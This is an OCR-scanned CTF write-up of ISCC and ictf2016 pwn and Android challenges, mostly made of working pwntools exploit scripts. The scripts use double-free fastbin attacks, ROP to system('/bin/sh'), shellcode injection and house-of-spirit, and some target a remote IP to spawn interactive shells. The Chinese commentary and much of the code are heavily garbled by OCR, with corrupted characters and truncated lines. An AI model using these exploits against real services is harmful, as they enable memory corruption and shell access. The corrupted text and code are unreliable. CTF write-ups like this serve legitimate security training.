ee:ee7e| 0x602070 (__isoc99_scanf@got.plt) — ©x7f5fa9917e80 (__isoc99 scanf) «— push  rbx
0f:0078| 0x602078 (exit@got.plt) —» 0Ox4007d6 (exit@plt+6) <«— push  Oxc /* 'h\x@c' */
10:0080| ©0x602080 (data_start) «— 0xe
.
pwndbg>

Fie R AT add_paperix I fEJ&, A 0x602000+2, 0x602030+2, 0x602038+2,0x602050+21 4bHiv il v DL
5 i I size, (H i £:0x602000+21) 1 [Al I 212 2, _GLOBAL_OFFSET_TABLE_f{){f 1% BeAN AT FUAII 5
R,0x602038+2,0x602050+2 1 2% [K Ay bRy B P47 516 Jo MUY R 5% 2138 FA% /- erash, AT P $0x602030+21F Jychunk

0x602030+2+0x10F-44, 7T LL78 5 strtol@got g i, i ifiiget shell


https://blog.csdn.net/asanscape/article/details/38752655
https://github.com/M4xW4n9/slides/blob/master/pwn_heap/advanceheap-160113090848.pdf

pwndbg> Xx/8gx 0x602030+2
0x602032 <_ stack_chk_fail@got.plt+2>: ©x0756000000000040 ©xal60000000000040

0x602042 <printf@got.plt+2>: 0xb1cPLOO7f2cd78b ©x07860000712cd788
0x602052 <__ gmon_start__@got.plt+2>: 0x1c40000000000040 0Ox5ee€000007f2cd78a
0x602062 <malloc@got.plt+2>: 0x472000007f2cd78e 0Oxfe8000007f2cd78d

pwndbg>

X FERAEHImalloc 1S $ Hox40-0x10

& Fexpll F:

Desktop cat exp.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = "M4x'

from pwn import *

from time import sleep

import sys

context.terminal = ["deepin-terminal",

X", "sh", "-c"]

elf = ELF("./pwn3")

if sys.argv[1l] == "1":
context.log level = "debug"
# env = {'LD_PRELOAD': "'}

# io = process("", env = env)
io = process("./pwn3")

libc = elf.libc

else:
io = remote("47.104.16.75", 8999)
# 1libc = ELF("")

def DEBUG():
raw_input ("DEBUG: ")
gdb.attach(io, "b *@x400B26")

def add(idx, length, content):
io.sendlineafter("2 delete paper\n", "1")
sleep(0.01)
io.sendlineafter(":", str(idx))
sleep(0.01)
io.sendlineafter(":", str(length))
sleep(0.01)
io.sendlineafter(":", content)
sleep(0.01)

def delete(idx):
io.sendlineafter("2 delete paper\n", "2")
sleep(0.01)
io.sendlineafter(":", str(idx))
sleep(0.01)



if __name__ == "__main__":
fakeChunk = 0x602030+2
add(0, ox30, '0000')
add(1, ex3e, '1111')

delete(0) # ©
delete(1l) # 1 -> @
delete(@) # 0 -> 1 -> 0

add(@, 0x30, p64(fakeChunk)) # 1 -> @ -> fakeChunk
add(1, ox30, '1111') # @ -> fakeChunk

add(2, ox30, '2222') # fakeChunk

# payload = 'aaaaaaaabbbbbbbbccccccccdddddddd’
payload = p8(0) * (3 * 8 - 2) + p64(elf.sym['gg"']) * 2
# DEBUG()

add(3, 0x30, payload)

io.sendlineafter("2 delete paper\n", "2") # trigger strtol
# delete(0Q)

io.interactive()
io.close()
# flag{ISCC_SoEasy}

double free & b @1, 3 A Xk
Login(200)

B4 A EE AR T A I JE canary FIPIE, & 2 K v L2 bk 1,385 43 Hr Menu g £ fii A choice ) 77 7E %
Uik 3 ELRE o systemid 5, i RE At T L I Menu st 30 7] Bl system T (H 224447 system("/bin/sh") 134 7
Bl rdifs [m)/bin/sh, & B BB & 8 o rop#z il write B UK /bin/sh 'S 2| bssal # dataZs [ 5 Huhik, (H X B KA FE 7
HA flu shik 3, BRI SR A7 7Esh = 455 B, B FE 4% il B e]

NI 46 BEE R P A7 fEsystemg 21, FH 1 leak# />gotrh ik 25 R libchi A 44 5 system(/bin/sh) ) 75 i AT BEIA IS 7E R i
T
ROP [ FELI A 4R 7] LLE IX 4 slide

Desktop cat iscc_pwn200_1.py
#!/usr/bin/env python

# -*- coding: utf-8 -*-
__Auther__ = "M4x'

from pwn import *

from time import sleep
import sys

context.arch = 'amdé4'
context.log_level = "debug"

n

context.terminal = ["deepin-terminal”, "-x", "sh", "-c"]
elf = ELF("./pwn50")
if sys.argv[1l] == "1":

# env = {'LD_PRELOAD': "'}

# io = process("", env = env)


https://github.com/M4xW4n9/slides/blob/master/pwn_stack/rop%25E8%25BD%25BB%25E6%259D%25BE%25E8%25B0%2588.pdf

io = process("./pwn50")
libc = elf.libc

else:
io = remote("47.104.16.75", 9000)
# 1libc = ELF("")

def DEBUG():
raw_input ("DEBUG: ")
gdb.attach(io)

if _name__ == '__main__"':
popRdi = ©x0000000000400b03
io.sendlineafter(': ', 'guest')
io.sendlineafter(': ', 'guest')

# ROPgadget --binary ./pwn50 --string sh

payload = flat([cyclic(0x50 + Ox8), popRdi, 0x0000000000400407, elf.plt['system']])
io.sendlineafter(": ", payload)

io.sendlineafter(": ", '3")

io.interactive()
io.close()

Desktop cat iscc_pwn200_2.py
#!/usr/bin/env python

# -*- coding: utf-8 -*-
__Auther__ = "M4x'

from pwn import *

from time import sleep
import sys

context.arch = 'amd64'
context.log level = "debug"

context.terminal = ["deepin-terminal®, "-x", "sh", "-c"]
elf = ELF("./pwn50")
if sys.argv[1l] == "1":

# env = {'LD_PRELOAD': "'}

# io = process("", env = env)
io = process("./pwn50")

libc = elf.libc

else:
io = remote("47.104.16.75", 9000)
libc = ELF("./1libc6_2.19-0ubuntu6.14_amd64.so")
oneGadgetOffset = 0x46428
oneGadgetOffset = 0x4647c
oneGadgetOffset = 0xe9415
oneGadgetOffset = Oxea36d

def DEBUG():
raw_input ("DEBUG: ")
gdb.attach(io)

mAanmDAS _ ALANNNANANNANANANALNAD



PUPRUL = YXUUOUOYYOYOYYYY4YYDYD

if __name__ == "__main__":
io.sendlineafter(': ', 'guest')
io.sendlineafter(': ', 'guest')
payload = flat([cyclic(0x50 + 8), popRdi, elf.got['puts'], elf.plt['puts'], popRdi, elf.got['read'],
io.sendlineafter(": ", payload)
io.sendlineafter(": ", '3")

putsAddr = u64(io.recvuntil('\x7f"')[-6: ].1ljust(8, '\x00'))
success( 'putsAddr -> {:#x}'.format(putsAddr))

readAddr = u64(io.recvuntil('\x7f")[-6: ].1ljust(8, '\x00'))
success('readAddr -> {:#x}'.format(readAddr))

libcBase = readAddr - libc.sym['read']

success('libcBase -> {:#x}'.format(libcBase))

pause()

oneGadget = libcBase + 0x46428

payload = flat([cyclic(0x50 + 0x8), popRdi, libcBase + next(libc.search('/bin/sh')), libcBase + libc.

# DEBUG()
io.sendlineafter(": ", payload)
io.sendlineafter(": ", '3")

io.interactive()
io.close()
# flag{welcome_to_iscc}

6417 rop AR AR 1, I8 25 T systemef £

Happy Hotel (300)



ctf2016/¥1pwn200 5 /8, 25 0 B 0 =4 I b AL R A T A
A H B IRTRAR 2 5 R B -

6
7
8

9
10
11
12
13
14

15
16

puts("who are u?");
for ( 1 =06LL; i <= 47; ++1 )
{
read(@, &vi[i], 1uLL);
if ( vi[i] == 10 )
{
vi[i] = @;
break;
}
}

printf("%s, welcome to ISCC~ \n", v1);

// leak rbp

EN AT R 48T, iR FEread IR EA 24 AR EINW00", i it aT U 34 i printfkleak it
septbidik, AT LUk Ileak 2 0x400A8EX AN bR £ irbp, XAEFRATHA T — MR BRIk, R B WE 2
[# % A 3E 1T P LA BB AT J= stk i A\ iy shellcode gt it A e £ g ke [ i ik

“IL

}

char buf; // [rsp+6h] [rbp-46h]
char *dest; // [rsp+38h] [rbp-8h]

dest = (char *)malloc(@x4eulL);
puts("give me money~");

read(@, &uf, @x40uLL);
strcpy(dest, &buf);

ptr = dest;

hotel();

[/ overflow

i NOx40fzbufist, 580478 wdest, iidstrepy ] DLtk sl — i AE & k'S

S AR TR

FEFF B THAERIORYT, RS AL PSR, A mT DA 40 R

T JetEleak t [ rbpitik & £ 24 A [ shellcode ik, 48 5 P il AT & bk 5 005 S A s 1 got
shellcode kB ], FR[MH% 2 7 5 printf@got Jyshellcode ik, expln



1ctf2016_pwn200 [mastere] cat solve.py
#!/usr/bin/env python

# -*- coding: utf-8 -*-

__Auther__ = "M4x'

from pwn import *
context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
context(arch = 'amdé4', os = 'linux', log_level = 'debug')

io = process("./pwn200")

io.sendafter("?\n", '@' * 48)

rbpAddr = u64(io.recvuntil("\x7f")[-6: ].1ljust(8, '\x00'))
success("rbpAddr -> {:#x}".format(rbpAddr))

# raw_input("DEBUG: ")

# gdb.attach(io)

io.sendlineafter("?\n", "0")

payload = p64(rbpAddr - 0xb8) + asm(shellcraft.execve("/bin/sh"))
payload = payload.ljust(0x4e - 8, '\x90')

payload += p64(0x0000000000602030)

io.sendafter("~\n", payload)

io.interactive()
io.close()

|CHFRY RN A A AT — 808 R R il I 3 — A AR T2 4t

T fiE S 1 Filhouse of spiritix fli 4t 51, house of spiritf 7 AR A% 13k H K AN 78 o5 Bret, (H 268
T o e HESR R, AT LA iZHERR AT T Ohitichunk, @it freedsiZid () chunkis iniEbin,  HE 6 FAT T —
ZemallociJdthhl, MARIXF B sk A, HAKYEYT i LG X4 slide

expll T :


https://github.com/M4xW4n9/slides/blob/master/pwn_heap/malloc-150821074656-lva1-app6891.pdf

1ctf2016_pwn200 [mastere] cat hos.py
#!/usr/bin/env python

# -*- coding: utf-8 -*-

__Auther__ = "M4x'

from pwn import *
context(log_level = 'debug', arch = 'amdé4', os = 'linux')
context.terminal = ["deepin-terminal", '-x', 'sh', '-c']

def DEBUG():
raw_input("DEBUG: ")
gdb.attach(io)

io = process("./pwn200")

# who are u?

sc = asm(shellcraft.execve("/bin/sh"))

io.sendafter("?\n", sc.ljust(48, '0'))

rbpAddr = u64(io.recvuntil("\x7f")[-6: ].1ljust(8, '\x00'))
success("rbpAddr -> {:#x}".format(rbpAddr))

scAddr = rbpAddr - ©x50

fakeChunk = rbpAddr - 0x90

# give me your id
io.sendlineafter("?\n", str(ox20)) # id

# give me money

payload = p64(0) * 5 + p64(0x41)

payload = payload.ljust(ox40 - 8, '\x00') + p64(fakeChunk)
io.sendlineafter("~\n", payload)

# free

io.sendlineafter(": ", "2")
# malloc
io.sendlineafter(": ", "1")

io.sendlineafter("?\n", str(0x30))
payload = 'a' * 0x18 + p64(scAddr)
payload = payload.ljust(48, '\xe0')
io.send(payload)

# ret

io.sendlineafter(": ", "3")
io.interactive()

io.close()

Mobile( Author: M4x )
/R4 71 (300)

LT[R R apktool i K, 1% 18 AR 43 1R fi 5
H 4% %= apktool e i F-apk, fEassets H 5 ~ &I T P Njar Al —python, {2 52Bx _Ebfsprotect.jar/&dex 4



Desktop apktool d crack.apk
Picked up _JAVA OPTIONS: -Dawt.useSystemAAFontSettings=gasp
: Using Apktool 2.2.3-dirty on crack.apk
Loading resource table...
: Decoding AndroidManifest.xml with resources...
Loading resource table from file: /home/m4x/.local/share/apktool/framework/1.apk
: Regular manifest package...

I

I

I

I

I

I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...

Desktop cd crack/assets

assets 1s

bfsprotect.jar newDex.jar reverse.py
assets file bfsprotect.jar

bfsprotect.jar: Dalvik dex file version 035

1 Fl dex2jarkt dexi: Hjar

assets file bfsprotect.jar

bfsprotect.jar: Dalvik dex file version 035

assets dex2jar ./bfsprotect.jar

Picked up _JAVA OPTIONS: -Dawt.useSystemAAFontSettings=gasp
./bfsprotect-dex2jar.jar exists, use --force to overwrite

assets file bfsprotect-dex2jar.jar

bfsprotect-dex2jar.jar: Zip archive data, at least v1.0 to extract

SR 5 A Fjd-guid] Frjarts, it 66 £ MainActivityk 2 onClick s 5 T

public void onClick(View paramAnonymousView)

{
paramAnonymousView = MainActivity.this.editText.getText().toString();

if (!new ProtectClass().protectMethod(paramAnonymousView))

{
Toast.makeText(MainActivity.this, "Wrong Flag", ©).show();

return;

}
Toast.makeText(MainActivity.this, "Correct Flag", 0).show();

FA1{EFE — T ProtectClassH [f]protectMethod /5 12: (K 8 £ %, 777t £ ~protectMethod 77 ¥2: MR 5 2 B AU i 5 1
ffi ¥y protectMethod)



public boolean protectMethod(String paramString)
{

int i = 9;
for (53)
{
if (i >= MainActivity.runTimes >> 1) {
return paramString.equals("BFS-ISCC");

}
if ("123456".equals("123456")) {}
i+=1;
}
}
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